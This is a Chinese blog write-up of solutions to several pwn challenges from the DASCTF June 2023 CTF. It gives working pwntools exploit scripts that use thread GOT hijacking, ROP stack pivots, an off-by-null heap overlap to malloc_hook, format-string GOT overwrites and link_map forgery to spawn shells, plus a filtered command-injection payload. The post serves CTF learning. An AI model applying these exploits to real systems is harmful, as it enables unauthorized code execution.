DASCTF 2023六月挑战赛|二进制专项 复现

(距上一次好好看题应该有两个月了吧….

Dream

逆向

第一次看多线程的题.没开pie和canary.
主线程在开启一个子线程后开启沙盒只能使用read,write调用,然后是一个0x10字节的溢出.
子线程是一个write的无限循环.

思路

主线程禁掉了open,所以无法进行orw.由于子线程是在主线程开启沙箱前创建的,不受沙箱影响.所以最终是要在子线程中执行system.
要通过主线程的溢出劫持子线程的控制流,可以通过线程间共享的got表.将write的got表改为主线程中溢出的地址.

由于新线程的栈是mmap得到的,所以可以利用其与libc的固定偏移得到.在子线程上再进行栈迁移+rop.
(感觉这题的各种偏移巧妙得诡异)

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
magic_read = 0x4013AE
bss = 0x404200
rdi = 0x401483
rsi_r15 = 0x401481
ret = 0x4013c6
leave_ret = 0x4013c5

gdb.attach(io,'''
set scheduler-locking on
c
b *0x4013AE
thread 2
c
''')

#主线程劫持子线程控制流
io.recvline()
io.send(b'a'*0x40+p64(bss+0x40)+p64(magic_read))

payload = flat([rsi_r15,e.got['write'],0,e.plt['read'],rdi,0x1000,e.plt['sleep']])
payload = payload.ljust(0x40,b'\x00')
payload += flat([bss-8,leave_ret])
io.send(payload)

sleep(0.1)
io.send(p64(magic_read))
sleep(0.1)

#子线程栈迁移+rop
io.recv()
payload = flat(['a'*0x30,rdi,e.got['puts'],e.plt['puts'],p64(magic_read)])
io.send(payload)

puts_addr = u64(io.recv(6).ljust(8,b'\x00'))
leak_libc('puts',puts_addr)

thread_stack = libc_base-0x41f0

rdi_rbp = libc_base+0x2a745

payload = flat([ret,rdi_rbp,binsh_addr,0,system_addr])
payload = payload.ljust(0x40,b'\x00')
payload += flat([thread_stack-8,leave_ret])
io.send(payload)


io.interactive()

Noka

任意地址读写没啥好说的.
学到一个trick就是改malloc的got表为一个可控返回值(read_num之类)的函数,再加上之后的read可以达成任意地址写.

Server

验证身份,由于snprintf限制了长度0x20,可以将%s后面的.key顶出0x20外截断.

1
io.sendlineafter('admin :',b'..///////////////////flag')


然后是一个有过滤的命令拼接.
命令之间用’\n’截断,过滤了空格用’\t’分隔参数.
注意闭合%s前面的单引号.
由于长度限制最后flag用通配符.
缓冲区未初始化,所以可以多次写入\n.
最后命令是这样的: ‘\ncat\tfl*\n.

由于缓冲区未初始化,也可以在验证函数的栈帧里布置来绕开过滤.

Approoooooooaching

Brainfuck的VM(其实到现在对VM的概念都很模糊).
洞在执行的时候对v3没有下界检查,可以直接越界修改返回地址,partial overwrite到后门函数.

(下次一定记得先找后门,还有就是逆向时看个大概就行了,老是想着把每条语句都看懂…)

can_you_find_me

2.27的offbynull,没有输出函数,限制free和malloc次数.有一点特殊的是null会写在chunk[size]的地方,也就是只与size有关而与输入长度无关,这也是之后能部分覆写unsortedbin的fd的原因.

常规流程了,我的布置用完了free的次数所以打malloc_hook

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
def add(size,data):
io.sendlineafter('choice:','1')
io.sendlineafter(':',str(size))
io.sendlineafter(':',data)

def delete(idx):
io.sendlineafter('choice:','2')
io.sendlineafter('Index:',str(idx))

og = [0x4f2c5,0x4f322,0x10a38c]

def pwn():
# offbynull构造堆块重叠,部分覆写unsortedbin
add(0x410,'a')#0
add(0x20,'a')#1
add(0x30,'a')#2
add(0x28,'a')#3
add(0x4f0,'a')#4
add(0x20,'a')#5
delete(5)
delete(1)
delete(3)

payload = flat(['a'*0x20,0x4c0])
add(0x28,payload)#1
delete(0)
delete(4)

add(0x410,'a')#0
add(0x2f,b'\x60\x07')#3

# 泄露地址
add(0x20,'a')#4
add(0x20,p64(0xfbad1800))#5

while True:
addr = u64(io.recv(8))
if hex(addr).endswith("7e3"):
stdout = addr-131
break
else:
continue
io.recvuntil('1.')

leak_libc('_IO_2_1_stdout_',stdout)

delete(1)

payload = flat(['\x00'*0x28,0x31,malloc_hook_addr-0x8])
add(0x40,payload)
add(0x20,'a')
add(0x20,p64(libc_base+og[1])+p64(realloc_addr+8))

# gdb.attach(io,'''
# breakrva 0xDA4
# ''')
io.sendlineafter('choice:','1')
io.sendlineafter(':',str(520))

io.interactive()

while True:
io = process('./'+binary)
try:
pwn()
except:
continue

Candy_Shop

两次参数长度8字节的格式化字符串,一次数组越界bss段之前任意写.
先泄露地址,改printf的got表为system,完事.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

io.sendlineafter('option:','g')
io.sendlineafter('name','%31$p')
io.recvuntil('gift:')
leak_libc('__libc_start_main',int(io.recv(14),16)-128)

io.sendlineafter('option:','b')
io.sendlineafter('bye:','t')
io.sendlineafter('in?','-10')
io.sendlineafter('name',b'\x00'*6+p64(system_addr))

io.sendline('g')
io.sendline('/bin/sh\x00')

io.interactive()

easynote

2.23堆溢出,没啥特别的

fooooood

bss段格式化字符串,改返回地址和参数就行了

(这题不能改printf的got表因为不能一次性改完,下一次执行printf的时候会崩)

matchmaking platform

逆向

漏洞点在sub_12B7函数,该函数向a1指向空间最多读取128字节(向buf读入了129次),进入最后一次循环时,v3==127,++v3溢出到-0x80,即向a1-0x80地址写一个字节.

程序的主逻辑,配合上该漏洞,可以在times为4,2时修改byte_4140-0x80位置的pptr的低字节,使*pptr的新值为另一个地址,进而在times为3,1的时候在该地址进行写入.

于是寻找0x4000-0x4100内的指针,有GOT表和bss段的IO指针.

则可以先通过IO指针泄露pie基址并在byte_4140上伪造.dynamic以及strtab,再修改linkmap中l_info[5]为伪造的.dynamic,修改l_addr使其偏移.

使得解析free函数时得到system函数地址,且由于伪造的linkmap中l_addr(程序基地址)加上了偏移使得最终将system地址写入puts的GOT表条目.最终getshell.

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
def pwn():
io.sendafter('>>',b'a'*128+b'\x80')

payload = flat([0xfbad1800,0,0,0,b'\xb0\x5d'])
io.sendlineafter('>> ',payload)


addr = u64(io.recv(8,0.1))
if hex(addr).startswith("0x56"):
pie_base = addr-0x40a0
log.success(hex(pie_base))

else:
exit(-1)


payload = b'/bin/sh\x00'+p64(pie_base+0x4140+0x10-0x77)+b'system\x00'#0x77是free字符串在strtab中的偏移
io.sendafter('>>',payload.ljust(128,b'\x00')+b'\x08')

payload = flat([pie_base+0x8])
payload = payload.ljust(0x68,b'\x00') + flat([pie_base+0x4140])

# gdb.attach(io,'''
# b *$rebase(0x1338)
# ''')

io.sendlineafter('>> ',payload)

io.interactive()


while True:
io = process('./'+binary)
try:
pwn()
break
except:
io.close()
continue

(剩余题目之后单独放)

  • 版权声明: 本博客所有文章除特别声明外,著作权归作者所有。转载请注明出处!
  • Copyrights © 2022-2024 翰青HanQi

请我喝杯咖啡吧~

支付宝
微信